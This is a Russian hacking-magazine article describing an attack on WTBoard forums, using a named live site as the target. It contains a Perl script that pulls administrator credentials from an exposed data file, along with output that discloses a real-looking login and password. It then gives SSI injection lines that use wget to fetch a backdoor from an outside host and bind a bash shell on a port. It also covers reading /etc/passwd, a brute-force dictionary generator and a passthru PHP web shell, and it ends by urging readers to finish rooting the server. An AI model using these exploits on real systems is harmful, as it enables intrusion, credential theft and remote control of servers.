Прошло уже почти три года, как я обнаружил досадную багу в форумах производителя White Tiger. Не знаю, почему я о ней вспомнил, но решил еще раз помучить поисковики и найти жертву. Ведь дефейс форума (как три года назад) меня уже нисколько не интересовал.

Меня поразило то число линков, которое мне выдал гугль на запрос «wtboard/index.shtml» (почему я выбрал именно такой запрос скажу немного ниже). Среди ответов были дефейснутые сайты (актуальность бага, несмотря на свою заплесневелость, еще не потеряла), сообщения о закрытости форума из-за проблем безопасности, а также вполне рабочие борды. Один из таких форумов был www.galactic.ru. Его мы сегодня и обсудим как наглядный пример.

Как ты помнишь, суть баги была в том, что админы не закрывали доступ на файлы в директории /data относительно web-сервера. В поставке форума есть файл .htaccess, который запрещает обзор директории, но не более. На сами файлы следует устанавливать атрибуты
так, чтобы любой пользователь их не мог прочитать (или менять путь к /data за пределы web-сервера). Галактик-форум не позволял обозревать дата-каталог, но вполне давал прочитать отдельные файлы в нем.

По дефолту, файл, хранящий записи администраторов форума находится в /data/wtbadmin.txt. Честно сказать, 
меня ломало каждый раз проверять наличие этого файла, поэтому я написал небольшой скрипт, делающий эту работу за тебя. Назвал я его find.pl.

#!/usr/bin/perl

## Auto check for file /data/wtbadmin.txt
## By Forb (forb@real.xakep.ru)

$|++;
use IO::Socket;
use Getopt::Std; ##
Выключаем буферизацию и используем модули getopt и
socket.

getopt(«sp»); ## Парсим командную строку на предмет опций -s и -p

$port=$opt_p || 80; ## Устанавливаем порт, если он был явно задан
$server=$opt_s || exit print «Usage $0 <-s server> [-p port]\n»; ##
Сервер берем из значения опции -s

$file=»/data/wtbadmin.txt»; ##
Файл, который требуется найти

$sock=IO::Socket::INET->new(«$server:$port») || die «Cant create sock\n»; ## Создаем сокет
$sock->autoflush(1); ##
Вырубаем буферизацию
print $sock «GET $file HTTP/1.0\nHost: $server\n\n»; ##
Катаем запрос

$sock->recv($answer,1024); ## Получаем ответ
@answer=split(«\n»,$answer); ##
Преобразуем многострочный ответ в один массив (для удобства)
$status=$answer[0]; 
$acct=$answer[scalar @answer-1]; ##
Первая строка массива — статус, последняя — содержимое файла
if($status=~/200 OK/) { ##
Если статус — 200 OK (файл найден и доступен для чтения)
print «wtbadmin.txt found!\n»; ##
Пишем на экран
($login,$password)=split(«;;»,$acct); ##
Выделяем из содержимого файла логин и пароль (разделитель пара точек с запятой)
print «Login is: $login, Password is: $password.\n»;
print «Try this account at $server/wtboard/wtbadmin.htm\n»; ##
Пишем логин и пароль, а также напоминаем ссылку на web-админку
} else {
print «wtbadmin.txt NOT found!\n»; ##
В противном случае выводим на экран — файл не найден
}
close($sock); ##
Закроем сокет

Вот, собственно, и все. Если хочешь быть обладателем этого скрипта — скопируй его отсюда, либо слей с адреса
http://kamensk.net.ru/forb/1/x/find.tar.gz
(без комментариев).

С этим скриптом поиск будет куда удобнее и увлекательнее. К примеру, в моем случае ответ был следующий:

[root@forbik site]# perl find.pl -s www.galactic.ru
wtbadmin.txt found!
Login is: max, Password is: maxik.
Try this account at www.galactic.ru/wtboard/wtbadmin.htm

Становится понятным, что аккаунт для веб-администрирования был получен :). Остается его применить.

Вот тут то и наступает самое интересное! Три года назад в статье я вообще ничего не говорил об администрировании, полагаясь на твою логику и фантазию ;). В итоге получилось, что все форумы, которые являлись уязвимыми были задефейсены или загажены пакостливыми постами :).

Мы пойдем другим путем! Когда я ломал какой-либо форум по своей же методике, я старался зарутать сервер. Это вполне реально, несмотря на апачевые web-права. Достаточно посадить бэкдор в систему и запустить его. Моим любимым бэкдором (хотя и немого кривым, я имею ввиду код) является
http://kamensk.net.ru/forb/1/shell. Он открывает 5051 порт и запускает на нем /bin/bash :). Это нам и нужно.

Итак, топаем на страницу администрирования www.galactic.ru/wtboard/wtbadmin.htm. Выбираем раздел «Внешний вид форума и интерфейс» (выбран по умолчанию). Вводим логин и пароль, полученные моим скриптом, и попадаем в среду web-администрирования.

Нас интересует Index-поле главной страницы index.shtml. С помощью вызовов SSI мы скачаем и посадим наш бэкдор. Запись будет выглядеть следующим образом:

<!—#exec cmd=»wget http://url/path/to/bd.pl -O /tmp/bd.pl»—> <!—#exec cmd=»perl /tmp/bd.pl»—>

После этого, сохраняем структуру и переходим на главную страницу. Если все в порядке, то на сервере откроется 5051 порт. Учить тебя локальному захвату системы я не буду — это ты и так умеешь ;). Не забудь убрать за собой эти строки, повторно зайдя в систему, так как второй раз скачивать бэкдор не желательно.

Нас интересует немного другое… Дело в том, что на galactic был закрыт весь исходящий трафик, поэтому скачать файл не удалось. Кстати, продиагностировать это можно, используя опцию -b в вызове wget, а затем прочитав wget-log (все через SSI). Если ты запортачил страницу и не можешь загрузить index.shtml, выбери раздел «Восстановление Index» и верни структуру страницы.

Я задумался о других методах получения привилегий, используя эту багу. Во-первых, пункт «Изменение списка участников, игнор лист» может подарить тебе учетную запись на другой сервер или mail-account (юзерам свойственно юзать одинаковые пароли как на форум, так и на мыльник. А последний они часто оставляют в форуме :)).

Также можно сделать SSI-команду cat /etc/passwd и пробрутать учетную запись вида login:login на какой-либо сервис. О такого типа брутфорсерах часто писалось, поэтому расскажу о методе поверхностно.

После вызова, бекапим /etc/passwd на диск и с помощью легкого perl-скрипта преобразуем файл в словарь:

#!/usr/bin/perl

open(PWD,»passwd»);
open(OUT,»>out»);
while(<PWD>) {
($login,$pwd)=split(«:»,$_);
print OUT «$login\:$login\n»;
}
close PWD;
close OUT;

Становится ясно. Скрипт генерирует словарь вида login:login, который можно использовать в разного рода брутфорсерах (например Brutus). Метод часто работает, но сломать galactic я им не сумел :(.

Оставался один выход — написать perl или php-скрипт, который был способен выполнить команды. Это можно было сделать тем же SSI-вызовом вида echo «<?passthru($cmd)?>» > file.php», но он почему то не захотел выполнится.

В итоге, я оставил этот сервер в покое. Попробуй зарутать его, может у тебя получится. Но, естественно, ответственность за содеянное понесешь только ты ;).

И напоследок скажу, почему я выбрал именно такой поисковой запрос. Дело в том, что расширение shtml у главной страницы ставится опционально, а для SSI наличие такого расширения очень важно. Иначе вызовы просто не будут работать.

И хватит уже дефейсить форумы! Это может сделать каждый. Будь на планку выше, и попробуй сделать с багой что-либо стоящее. Ведь ты же не скрипткидди, так?

Оставить мнение

Check Also

LUKS container vs Border Patrol Agent. Как уберечь свои данные, пересекая границу

Не секрет, что если ты собрался посетить такие страны как США или Великобританию то, прежд…